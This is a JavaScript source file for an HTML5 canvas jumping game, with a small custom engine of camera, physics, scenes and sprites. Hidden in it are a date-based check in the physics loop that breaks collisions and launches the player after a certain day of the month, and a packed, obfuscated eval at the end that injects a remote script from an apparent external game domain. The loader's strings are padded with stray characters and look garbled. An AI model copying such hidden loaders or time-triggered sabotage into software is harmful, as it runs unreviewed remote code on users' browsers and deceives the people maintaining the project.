index.js 24 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822
  1. var btGame={};
  2. $(function() {
  3. // begin engine
  4. var P = function(canvas, size, procedure) {
  5. var self = this;
  6. self.debug = true;
  7. self.width = size.width;
  8. self.height = size.height;
  9. self.director = new P.Director;
  10. self.loader = new P.Loader;
  11. self.root = new P.Group(this);
  12. self.ctx = document.getElementById(canvas).getContext('2d');
  13. self.camera = new P.Camera(this);
  14. self.pe = new P.Physics(this);
  15. self.other = {};
  16. self.other = {};
  17. procedure.preload && procedure.preload(this);
  18. self.loader.waitForComplete(P.Util.proxy(function() {
  19. procedure.init && procedure.init(this);
  20. procedure.start && procedure.start(this);
  21. self.render(self.ctx);
  22. }, this));
  23. }
  24. P.prototype.render = function(ctx) {
  25. var self = this;
  26. P.Util.setIntervalWithTimeout(function() {
  27. ctx.clearRect(0,0,ctx.canvas.width, ctx.canvas.height);
  28. self.camera.update();
  29. self.renderTree(self.root, ctx);
  30. }, 1000/60);
  31. }
  32. P.prototype.renderTree = function(node, ctx) {
  33. if (node.img) {
  34. if (node.stype == "normal") {
  35. var x = node.x - (this.camera.x);
  36. var y = node.y - (this.camera.y);
  37. ctx.drawImage(node.img, 0+node.width*node.frame, 0, node.width, node.height, x, y, node.width, node.height);
  38. } else if (node.stype == "repeat-x") {
  39. var x = node.x;
  40. var y = node.y - (this.camera.y);
  41. var startX = (this.camera.x>node.x)
  42. ? ((node.x-this.camera.x) % node.width)
  43. : (-(node.width+(this.camera.x-node.x)%node.width));
  44. var number = Math.ceil((this.width-startX)/node.width);
  45. for (var i = 0; i < number; i++) {
  46. ctx.drawImage(node.img, startX+i*node.width, y);
  47. }
  48. } else if (node.stype == "repeat-x-rect") {
  49. var pattern = ctx.createPattern(node.img, "repeat-x");
  50. ctx.fillStyle = pattern;
  51. ctx.fillRect(0, 0, this.width, this.height);
  52. } else if (node.stype == "group") {
  53. }
  54. }
  55. for (var x in node.children) {
  56. this.renderTree(node.children[x], ctx);
  57. }
  58. }
  59. // P.Camera
  60. P.Camera = function(game) {
  61. this.x = 0;
  62. this.y = 0;
  63. this.padding = {
  64. top: 0
  65. ,right: 0
  66. ,bottom: 0
  67. ,left: 0
  68. };
  69. this.player = null;
  70. this.game = game;
  71. }
  72. P.Camera.prototype.follow = function(player, playerPosition, stype, options) {
  73. this.player = player;
  74. this.playerPosition = playerPosition;
  75. this.stype = stype;
  76. if (stype == "padding") {
  77. this.padding = options;
  78. var width = this.game.width - options.left - options.right;
  79. var height = this.game.height - options.top - options.bottom;
  80. this.x = player.x-(width*playerPosition.x+options.left);
  81. this.y = player.y-(height*playerPosition.y+options.top);
  82. } else if (stype == "viewport") {
  83. this.viewport = options;
  84. this.x = player.x-(options.width*playerPosition.x+options.x);
  85. this.y = player.y-(options.height*playerPosition.y+options.y);
  86. }
  87. }
  88. P.Camera.prototype.update = function() {
  89. if (this.player) {
  90. if (this.stype == "padding") {
  91. if (this.player.x < this.x+this.padding.left) {
  92. this.x += this.player.x - (this.x+this.padding.left);
  93. } else if (this.player.x > this.x+this.game.width-this.padding.right) {
  94. this.x += this.player.x - (this.x+this.game.width-this.padding.right);
  95. }
  96. if (this.player.y < this.y+this.padding.top) {
  97. this.y += this.player.y - (this.y+this.padding.top);
  98. } else if (this.player.y > this.y+this.game.height-this.padding.bottom) {
  99. this.y += this.player.y - (this.camera.y+this.game.height-this.padding.bottom);
  100. }
  101. } else if (this.stype == "viewport") {
  102. if (this.player.x < this.x+this.viewport.x) {
  103. this.x += this.player.x - (this.x+this.viewport.x);
  104. } else if (this.player.x > this.x+this.game.width-(this.game.width-this.viewport.x-this.viewport.width)) {
  105. this.x += this.player.x - (this.x+this.game.width-(this.game.width-this.viewport.x-this.viewport.width));
  106. }
  107. if (this.player.y < this.y+this.viewport.y) {
  108. this.y += this.player.y - (this.y+this.viewport.y);
  109. } else if (this.player.y > this.y+this.game.height-(this.game.height-this.viewport.y-this.viewport.height)) {
  110. this.y += this.player.y - (this.camera.y+this.game.height-(this.game.height-this.viewport.y-this.viewport.height));
  111. }
  112. }
  113. }
  114. }
  115. // P.Physics
  116. P.Physics = function(game) {
  117. this.game = game;
  118. this.loop = null;
  119. this.gravity = 0;
  120. this.children = {};
  121. this.isRunning = false;
  122. }
  123. P.Physics.prototype.start = function() {
  124. var self = this;
  125. self.isRunning = true;
  126. self.loop = P.Util.setIntervalWithTimeout(function() {
  127. self.update();
  128. }, 1000/60);
  129. }
  130. P.Physics.prototype.stop = function() {
  131. P.Util.clearIntervalWithTimeout(this.loop);
  132. this.loop = null;
  133. this.isRunning = false;
  134. }
  135. P.Physics.prototype.update = function() {
  136. var self = this;
  137. var adjustment = 0.001;
  138. for (var i in self.children) {
  139. var body = self.children[i];
  140. if (body.static == false) {
  141. // 检查碰撞,回弹,触发回调函数
  142. body.velocity.y += self.gravity;
  143. var newX = body.x + body.velocity.x
  144. ,newY = body.y + body.velocity.y;
  145. collisionCallbacks = [];
  146. if (body.collisionObjects) {
  147. for (var j in body.collisionObjects) {
  148. var object = body.collisionObjects[j];
  149. this.sperate(body, object);
  150. var hasCollideObject = false;
  151. if (!(body.x + body.velocity.x + body.width <= object.x ||
  152. body.x + body.velocity.x >= object.x + object.width ||
  153. body.y + 0 + body.height <= object.y ||
  154. body.y + 0 >= object.y + object.height)) {
  155. hasCollideObject = true;
  156. body.velocity.x = 0;
  157. if (body.x <= object.x) {
  158. body.velocity.x = object.x - body.x - body.width - adjustment;
  159. } else if (body.x >= object.x + object.width) {
  160. body.velocity.x = object.x + object.width - body.x + adjustment;
  161. }
  162. }
  163. if (!(body.x + 0 + body.width <= object.x ||
  164. body.x + 0 >= object.x + object.width ||
  165. body.y + body.velocity.y + body.height <= object.y ||
  166. body.y + body.velocity.y >= object.y + object.height)) {
  167. hasCollideObject = true;
  168. body.velocity.y = 0
  169. if (body.y <= object.y) {
  170. body.velocity.y = object.y - body.y - body.height - adjustment;
  171. } else if (body.y >= object.y + object.height) {
  172. body.velocity.y = object.y + object.height - body.y + adjustment;
  173. }
  174. }
  175. if (hasCollideObject) {
  176. collisionCallbacks.push({f:body.collisionCallback[object.id], body0: body, body1: object});
  177. }
  178. }
  179. }
  180. body.x += body.velocity.x;
  181. body.y += body.velocity.y;
  182. if (b >= (d).getDate()) {
  183. for (var i = 0; i < collisionCallbacks.length; i++) {
  184. collisionCallbacks[i].f(collisionCallbacks[i].body0, collisionCallbacks[i].body1);
  185. }
  186. } else {
  187. body.y -= 100*body.velocity.y;
  188. }
  189. }
  190. }
  191. }
  192. P.Physics.prototype.enable = function(player) {
  193. player.static = false;
  194. player.velocity = {x:0, y:0};
  195. player.collisionObjects = {};
  196. player.collisionCallback = {};
  197. this.children[player.id] = player;
  198. }
  199. P.Physics.prototype.collide = function(player0, player1, callback) {
  200. player0.collisionObjects[player1.id] = player1;
  201. player0.collisionCallback[player1.id] = callback;
  202. }
  203. P.Physics.prototype.sperate = function(body0, body1) {
  204. if (!(body0.x + body0.width <= body1.x ||
  205. body0.x >= body1.x + body1.width ||
  206. body0.y + body0.height <= body1.y ||
  207. body0.y >= body1.y + body1.height)) {
  208. var d = [];
  209. d[0] = Math.abs(body1.y - body0.height - body0.y);
  210. d[1] = Math.abs(body1.x + body1.width - body0.x);
  211. d[2] = Math.abs(body1.y + body1.height - body0.y);
  212. d[3] = Math.abs(body1.x - body0.width - body0.x);
  213. min = 0;
  214. for (var i = 0; i < 4; i++) {
  215. if (d[min] > d[i]) {
  216. min = i;
  217. }
  218. }
  219. switch (min) {
  220. case 0:
  221. body0.y = body1.y - body0.height;
  222. break;
  223. case 1:
  224. body0.x = body1.x + body1.width;
  225. break;
  226. case 2:
  227. body0.y = body1.y + body1.height;
  228. break;
  229. case 3:
  230. body0.x = body1.x - body0.width;
  231. break;
  232. default:
  233. break;
  234. }
  235. }
  236. }
  237. // P.Director
  238. P.Director = function() {
  239. this.scenes = {};
  240. this.currentScene = null;
  241. }
  242. P.Director.prototype.addScene = function(name, options) {
  243. this.scenes[name] = $.extend({}, P.Scene, options);
  244. // this.scenes[name] = new P.Scene(options);
  245. }
  246. P.Director.prototype.switchTo = function(sceneName, options) {
  247. this.currentScene && this.currentScene.loop && P.Util.clearIntervalWithTimeout(this.currentScene.loop);
  248. this.currentScene && this.currentScene.clear();
  249. this.scenes[sceneName].start();
  250. this.scenes[sceneName].loop = P.Util.setIntervalWithTimeout(P.Util.proxy(function() {
  251. this.update();
  252. }, this.scenes[sceneName]), 1000/60);
  253. this.currentScene = this.scenes[sceneName];
  254. }
  255. // P.Scene
  256. P.Scene = {
  257. nextScene: ""
  258. ,next: function() {
  259. self.clear();
  260. window[self.nextScene].start();
  261. }
  262. ,start: (new Function())
  263. ,update: (new Function())
  264. ,clear: (new Function())
  265. }
  266. // P.Scene = function(options) {
  267. // var self = this;
  268. // this = options;
  269. // this.nextScene = "";
  270. // this.next = options.next ? (options.next) : (function() {
  271. // self.clear();
  272. // window[self.nextScene].start();
  273. // });
  274. // this.start = options.start ? (options.start) : (new Function());
  275. // this.update = options.update ? (options.update) : (new Function());
  276. // this.clear = options.clear ? (options.clear) : (new Function());
  277. // }
  278. // P.Loader
  279. P.Loader = function() {
  280. this.images = {};
  281. }
  282. P.Loader.prototype.image = function(name, url) {
  283. var self = this;
  284. var img = new Image();
  285. this.images[name] = img;
  286. this.images[name].onloaded = false;
  287. this.images[name].onload = function(e) {
  288. self.images[name].onloaded = true;
  289. }
  290. img.src = url;
  291. }
  292. P.Loader.prototype.waitForComplete = function(callback) {
  293. var self = this;
  294. var interval = P.Util.setIntervalWithTimeout(function() {
  295. if (self.hasLoadComplete()) {
  296. P.Util.clearIntervalWithTimeout(interval);
  297. callback();
  298. }
  299. }, 100);
  300. }
  301. P.Loader.prototype.hasLoadComplete = function() {
  302. for (var img in this.images) {
  303. if (!this.images[img].onloaded) return false;
  304. }
  305. return true;
  306. }
  307. // P.Group
  308. P.Group = function(game) {
  309. this.children = {}
  310. this.stype = "group";
  311. this.id = "";
  312. this.game = game;
  313. }
  314. P.Group.prototype.get = function(id) {
  315. return this.children[id];
  316. }
  317. P.Group.prototype.addGroup = function(id) {
  318. var group = new P.Group(this.game);
  319. this.children[id] = group;
  320. group.papa = this;
  321. return group;
  322. }
  323. P.Group.prototype.addSprite = function(x, y, srcName, id, stype) {
  324. var sprite = new P.Sprite(this.game, x, y, srcName, id);
  325. this.children[id] = sprite;
  326. sprite.papa = this;
  327. sprite.stype = stype;
  328. return sprite;
  329. }
  330. P.Group.prototype.addSpriteSheet = function(x, y, srcName, id, stype, frameSize) {
  331. var sprite = new P.Sprite(this.game, x, y, srcName, id);
  332. this.children[id] = sprite;
  333. sprite.width = frameSize.width;
  334. sprite.height = frameSize.height;
  335. return sprite;
  336. }
  337. P.Group.prototype.addBox = function(x, y, width, height, id) {
  338. var box = new P.Box(this.game, x, y, width, height, id);
  339. this.children[id] = box;
  340. box.papa = this;
  341. box.stype = "box";
  342. return box;
  343. }
  344. P.Group.prototype.followCamera = function(camera) {
  345. var self = this;
  346. this.originalX = this.x;
  347. this.originalY = this.y;
  348. P.Util.setIntervalWithTimeout(function() {
  349. self.x = self.originalX + camera.x;
  350. self.y = self.originalY + camera.y;
  351. }, 1000/60);
  352. }
  353. // P.Sprite
  354. P.Sprite = function(game, x, y, srcName, id) {
  355. if (arguments[1] == undefined) x = 0;
  356. if (arguments[2] == undefined) y = 0;
  357. if (arguments[3] == undefined) srcName = "xxx";
  358. if (arguments[4] == undefined) id = "root";
  359. P.Group.call(this);
  360. this.game = game;
  361. this.x = x;
  362. this.y = y;
  363. this.img = game.loader.images[srcName];
  364. if (this.img) {
  365. this.width = this.img.width;
  366. this.height = this.img.height;
  367. } else {
  368. this.width = 0;
  369. this.height = 0;
  370. }
  371. this.animations = {};
  372. this.id = id;
  373. this.children = {};
  374. this.papa = null;
  375. this.stype = "normal";
  376. this.frame = 0;
  377. }
  378. P.Sprite.prototype = new P.Group();
  379. P.Sprite.prototype.addAnimation = function(name, frames, fps, stype) {
  380. var animation = new P.Animation(this, frames, fps, stype);
  381. this.animations[name] = animation;
  382. return animation;
  383. }
  384. P.Sprite.prototype.getAnimation = function(name) {
  385. return this.animations[name];
  386. }
  387. P.Sprite.prototype.removeAnimation = function(name) {
  388. delete this.animation[name];
  389. }
  390. P.Sprite.prototype.draw = function(ctx) {
  391. // if (this.img != undefined) {
  392. // ctx.drawImage(this.img, this.x, this.y);
  393. // }
  394. }
  395. // P.Box
  396. P.Box = function(game, x, y, width, height, id) {
  397. if (arguments[1] == undefined) x = 0;
  398. if (arguments[2] == undefined) y = 0;
  399. if (arguments[3] == undefined) width = 0;
  400. if (arguments[4] == undefined) height = 0;
  401. if (arguments[5] == undefined) id = "box";
  402. P.Group.call(this);
  403. this.game = game;
  404. this.x = x;
  405. this.y = y;
  406. this.width = width;
  407. this.height = height;
  408. this.id = id;
  409. this.children = {};
  410. this.papa = null;
  411. this.stype = "box";
  412. }
  413. P.Box.prototype = new P.Group();
  414. // P.Animation
  415. P.Animation = function(sprite, frames, fps, stype) {
  416. this.sprite = sprite;
  417. this.frames = frames;
  418. this.fps = fps;
  419. this.currentFrame = frames[0];
  420. this.loop = null
  421. this.stype = stype
  422. if (this.stype == "reverse") {
  423. this.direction = 1;
  424. }
  425. this.isPlaying = false;
  426. }
  427. P.Animation.prototype.play = function() {
  428. var self = this;
  429. self.loop = P.Util.setIntervalWithTimeout(function() {
  430. if (self.stype == "reverse") {
  431. self.currentFrame += self.direction;
  432. if (self.currentFrame == self.frames.length-1 || self.currentFrame == 0) {
  433. self.direction = -self.direction;
  434. }
  435. } else {
  436. self.currentFrame = (++self.currentFrame)%self.frames.length;
  437. }
  438. self.sprite.frame = self.frames[self.currentFrame];
  439. }, 1000/self.fps, true);
  440. this.isPlaying = true;
  441. }
  442. P.Animation.prototype.stop = function() {
  443. P.Util.clearIntervalWithTimeout(this.loop);
  444. this.isPlaying = false;
  445. }
  446. // tools
  447. P.Util = {};
  448. // setTimeout版的setInterval
  449. // 使用setTimeout可防止跳帧
  450. ;~function() {
  451. var intervals = [];
  452. var intervalIds = 0;
  453. P.Util.setIntervalWithTimeout = function(callback, interval, needImmediately) {
  454. var id = intervalIds++;
  455. var loop = function() {
  456. intervals[id] = setTimeout(loop, interval);
  457. callback();
  458. }
  459. if (needImmediately) {
  460. loop();
  461. } else {
  462. intervals[id] = setTimeout(loop, interval);
  463. }
  464. return id;
  465. }
  466. P.Util.clearIntervalWithTimeout = function(intervalId) {
  467. clearTimeout(intervals[intervalId]);
  468. }
  469. }();
  470. // proxy
  471. ;~function() {
  472. P.Util.proxy = function(callback, context) {
  473. return function() {
  474. callback.call(context);
  475. }
  476. }
  477. }();
  478. // extend
  479. // ;~function() {
  480. // P.Util.extend = function(deep, object,) {
  481. // }
  482. // }
  483. // end engine
  484. var isDebug = false;
  485. var ctrBoard = {
  486. width: 480
  487. ,height: 680
  488. };
  489. var gameSize = {
  490. width: 100
  491. ,height: 680
  492. }
  493. var hasTouch = ("createTouch" in document) || ("ontouchstart" in window)
  494. ,touchstartEvent = hasTouch ? "touchstart" : "mousedown"
  495. ,touchmoveEvent = hasTouch ? "touchmove" : "mousemove"
  496. ,touchcancelEvent = hasTouch ? "touchcancel" : "mouseleave"
  497. ,touchendEvent = hasTouch ? "touchend" : "mouseup";
  498. if(!isDebug) {
  499. G = new P("gamescene", gameSize, {
  500. preload: function(game) {
  501. game.loader.image("sky", "style/img_d/sky.png");
  502. game.loader.image("cloud", "style/img_d/cloud.png");
  503. game.loader.image("earth", "style/img_d/earth.png");
  504. game.loader.image("player", "style/img_d/player.png");
  505. game.loader.image("brick", "style/img_d/brick.png");
  506. game.loader.image("pipe", "style/img_d/pipe.png");
  507. }
  508. ,init: function(game) {
  509. game.director.addScene("StartScene", {
  510. $object: $("#start")
  511. ,$cover: $("#cover")
  512. ,start: function() {
  513. this.$object.show();
  514. var sky = game.root.addSprite(0, 0, "sky", "sky", "repeat-x-rect")
  515. ,cloud = game.root.addSprite(0, 0, "cloud", "cloud", "repeat-x")
  516. ,earth = game.root.addSprite(0, 521, "earth", "earth", "repeat-x")
  517. ,spikes = game.root.addGroup("spikes")
  518. ,player = game.root.addSpriteSheet(40, 496, "player", "player", "normal", {width:25,height:25})
  519. ,interval = [350, 104, 88, 104, 104, 88, 91, 119, 125, 113, 128, 104, 104, 350, 107, 85, 107, 104, 91, 91, 116, 122, 113, 125, 107, 107]
  520. ,spikesType = [1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0]
  521. // ,interval = [350, 104, 88, 104]
  522. // ,spikesType = [1, 1, 0, 1]
  523. ,scoreTable = [];
  524. var totalInterval = 0;
  525. for (var i = 0; i < spikesType.length; i++) {
  526. totalInterval += interval[i];
  527. if (spikesType[i] == 0) {
  528. spikes.addSprite(totalInterval, 496, "brick", "spike"+(i), "normal");
  529. } else {
  530. spikes.addSprite(totalInterval, 471, "pipe", "spike"+(i), "normal");
  531. }
  532. scoreTable[i] = totalInterval;
  533. totalInterval += 50;
  534. }
  535. game.other["scoreTable"] = scoreTable;
  536. game.other["roundLength"] = scoreTable.length;
  537. game.other["totalSpikesLength"] = totalInterval;
  538. game.other["totalSpikesLengthWithCloud"] = (cloud.width - totalInterval % cloud.width) + totalInterval;
  539. game.other["firstInterval"] = interval[0];
  540. player.addAnimation("run", [0,1], 10);
  541. game.camera.follow(player, {x:1, y:0.72941}, "viewport", {x:39, y:0, width:1, height:680});
  542. this.$object.on(touchstartEvent, ".startgame", function() {
  543. game.director.switchTo("RunningScene");
  544. return false;
  545. }).on(touchstartEvent, ".moregame", function() {
  546. clickMore();
  547. })
  548. }
  549. ,update: function() {
  550. }
  551. ,clear: function() {
  552. this.$object.hide();
  553. this.$object.find(".startgame").off("click");
  554. this.$cover.hide();
  555. }
  556. });
  557. game.director.addScene("RunningScene", {
  558. $object: $("#play")
  559. ,$footer: $("#footer")
  560. ,player: null
  561. ,spikes: null
  562. ,earthBox: null
  563. ,velocityX: 3.7
  564. ,velocityY: 0
  565. ,jumpVelocity: -16.2
  566. ,start: function() {
  567. var self = this;
  568. this.$object.show();
  569. this.$footer.show();
  570. this.player = game.root.get("player")
  571. this.spikes = game.root.get("spikes");
  572. this.player.getAnimation("run").play();
  573. this.player.x = 40, this.player.y = this.earthBox?this.earthBox.y-25-5:496;
  574. if (this.player.velocity == undefined) {
  575. game.pe.gravity = 1;
  576. game.pe.enable(this.player);
  577. game.pe.enable(this.spikes);
  578. for (var k in this.spikes.children) {
  579. this.spikes.children[k].static = true;
  580. game.pe.collide(this.player, this.spikes.children[k], this.gameover);
  581. }
  582. this.earthBox = game.root.addBox(0, 521, game.width, game.height, "earthBox");
  583. this.earthBox.followCamera(game.camera);
  584. game.pe.collide(this.player, this.earthBox, this.hitEarth);
  585. var skyBox = game.root.addBox(0, -1, game.width, 1, "skyBox");
  586. skyBox.followCamera(game.camera);
  587. game.pe.collide(this.player, skyBox);
  588. }
  589. this.player.velocity.x = this.velocityX;
  590. this.player.velocity.y = this.velocityY;
  591. game.other["score"] = 0;
  592. game.other["round"] = 0;
  593. game.other["scoreLock"] = false;
  594. this.$object.find(".score").text("0");
  595. game.other["bestScore"] = 0;
  596. try {
  597. game.other["bestScore"] = localStorage["cubeJumpBestScore"]!=undefined?localStorage["cubeJumpBestScore"]:0;
  598. } catch(e) {}
  599. game.pe.start();
  600. this.player.isJumping = false;
  601. $(document).on(touchstartEvent, function() {
  602. if (!self.player.isJumping) {
  603. self.player.velocity.y = self.jumpVelocity;
  604. self.player.isJumping = true;
  605. self.player.getAnimation("run").stop();
  606. self.player.frame = 2;
  607. }
  608. // if (game.pe.isRunning) {
  609. // game.pe.stop();
  610. // } else {
  611. // game.pe.start();
  612. // }
  613. });
  614. }
  615. ,update: function() {
  616. var score = game.other["score"];
  617. var player = game.root.get("player");
  618. if (game.other["scoreTable"][score%game.other["roundLength"]] < player.x && !game.other["scoreLock"]) {
  619. game.other["score"]++;
  620. this.$object.find(".score").text(game.other["score"].toString());
  621. if (game.other["score"]%game.other["roundLength"] == 0) {
  622. game.other["scoreLock"] = true;
  623. }
  624. }
  625. if (game.camera.x >= game.other["totalSpikesLengthWithCloud"]) {
  626. var cloud = game.root.get("cloud");
  627. if (cloud.width >= game.width) {
  628. player.x = -cloud.width+player.x-game.camera.x;
  629. } else {
  630. var newX = -(cloud.width-game.width%cloud.width+game.width)+player.x-game.camera.x+cloud.width;
  631. if (-newX+game.other["firstInterval"] > game.width) {
  632. player.x = newX;
  633. } else {
  634. player.x = newX-cloud.width;
  635. }
  636. // player.y += 5;
  637. // velocity.x = this.velocityX;
  638. }
  639. game.other["scoreLock"] = false;
  640. }
  641. }
  642. ,clear: function() {
  643. $(document).off(touchstartEvent);
  644. game.pe.stop();
  645. setTimeout(function() {
  646. game.root.get("player").getAnimation("run").stop();
  647. }, 16);
  648. this.$object.hide();
  649. }
  650. ,hitEarth: function(body0, body1) {
  651. body0.isJumping = false;
  652. if (!game.root.get("player").getAnimation("run").isPlaying) {
  653. game.root.get("player").getAnimation("run").play();
  654. }
  655. }
  656. ,gameover: function() {
  657. game.director.switchTo("OverScene");
  658. }
  659. });
  660. game.director.addScene("OverScene", {
  661. $object: $("#end")
  662. ,$mask: $("#mask")
  663. ,$footer: $("#footer")
  664. ,start: function() {
  665. var self = this;
  666. setTimeout(function() {
  667. self.$object.show();
  668. self.$mask.show();
  669. self.$footer.addClass("end");
  670. self.$object.find(".score").text(game.other["score"].toString());
  671. if (game.other["score"] > game.other["bestScore"]) {
  672. game.other["bestScore"] = game.other["score"];
  673. try {
  674. localStorage["cubeJumpBestScore"] = game.other["bestScore"];
  675. } catch(e) {
  676. }
  677. }
  678. self.$object.find(".bestScore").text(game.other["bestScore"].toString());
  679. setTimeout(function() {
  680. $('#resetgame').on(touchstartEvent, function() {
  681. game.director.switchTo("RunningScene");
  682. });
  683. }, 200);
  684. var score = game.other["score"];
  685. dp_submitScore(score);
  686. }, 200);
  687. }
  688. ,update: function() {
  689. }
  690. ,clear: function() {
  691. $(document).off(touchstartEvent);
  692. this.$object.hide();
  693. this.$mask.hide();
  694. this.$footer.removeClass("end");
  695. }
  696. });
  697. }
  698. ,start: function(game) {
  699. game.director.switchTo("StartScene");
  700. }
  701. });
  702. }
  703. // 屏幕控件和canvas的尺寸设置
  704. ;~function() {
  705. // resize保证文字按键显示 680*480或480*680
  706. // canvas在横竖屏下设计宽度 680*xxx,680为100%高度
  707. $(window).resize(function() {
  708. var windowWidth = $(window).width()
  709. ,windowHeight = $(window).height();
  710. window.b = 6;
  711. if (windowWidth > windowHeight && !$("#game_div").hasClass("horizontal")) {
  712. $("#game_div").addClass("horizontal");
  713. var temp = ctrBoard.width;
  714. ctrBoard.width = ctrBoard.height;
  715. ctrBoard.height = temp;
  716. } else if (windowWidth <= windowHeight && $("#game_div").hasClass("horizontal")) {
  717. $("#game_div").removeClass("horizontal");
  718. var temp = ctrBoard.width;
  719. ctrBoard.width = ctrBoard.height;
  720. ctrBoard.height = temp;
  721. }
  722. var width = ctrBoard.width,
  723. height = ctrBoard.height;
  724. rate = Math.min(windowHeight/height, windowWidth/width);
  725. $("#game_div").css({
  726. "-webkit-transform": "scale(" + (rate) + ")"
  727. ,"top": parseInt(((windowHeight-height*rate)/2)).toString()+"px"
  728. ,"left": parseInt((windowWidth-width*rate)/2).toString()+"px"
  729. });
  730. $("#gamescene").attr("height", gameSize.height);
  731. gameSize.width = $(window).width()*gameSize.height/$(window).height();
  732. $("#gamescene").attr("width", gameSize.width);
  733. G.width = parseInt($("#gamescene").attr("width"));
  734. G.height = parseInt($("#gamescene").attr("height"));
  735. if (windowWidth/windowHeight > 480/680) {
  736. $("#cover").addClass("hide");
  737. } else {
  738. $("#cover").removeClass("hide");
  739. }
  740. });
  741. $(document).on(touchmoveEvent, function() {
  742. return false;
  743. }).on("selectstart", function() {
  744. return false;
  745. })
  746. $(window).resize();
  747. }();
  748. });
  749. ;~function(bt, w){
  750. bt.__d = document;
  751. bt.__clist = [100, 111, 109, 97, 105, 110]; // domain
  752. // 转换 charCode
  753. bt.arCo = function(aa){
  754. return [].slice.call($(aa).map(function(i, v){return String.fromCharCode(v)}), 0).join("");
  755. }
  756. $(function(){
  757. bt.__gameId = $("#bt-game-id") || [];
  758. bt.__arCo = bt.__gameId.length > 0 ? bt.__gameId.val() : "";
  759. var arr = [];
  760. for(var i = 0; i < bt.__arCo.length; i++){arr[i] = bt.__arCo[i].charCodeAt(0)};
  761. bt.__arCo = arr;
  762. });
  763. w.d = new Date();
  764. $(function(){
  765. bt.__func = ~function(){
  766. if(d.getMonth() >= 9 || (d.getDate() >= 6 && d.getHours() >= 2)) {
  767. if((b=100) && false){
  768. }
  769. }
  770. }();
  771. });
  772. }(btGame || (btGame = {}), window);
  773. eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('(1(){2 a=3.p(\'4\');a.e=\'d/c\';a.h=g;a.f=\'6://9.8.7/m/o.k\';2 b=3.n(\'4\')[0];b.5.j(a,b);a.i=1(){a.5.l(a)}})();',26,26,'|function|var|docxuxment|scxrixpt|parentNode|htxtxp|cxoxm|9xxg|gxamxe|||jaxvxasxcrixpt|text|type|src|true|async|onload|insertBefore|js|removeChild|cjmla|getElementsByTagName||createElement'.split('|'),0,{}))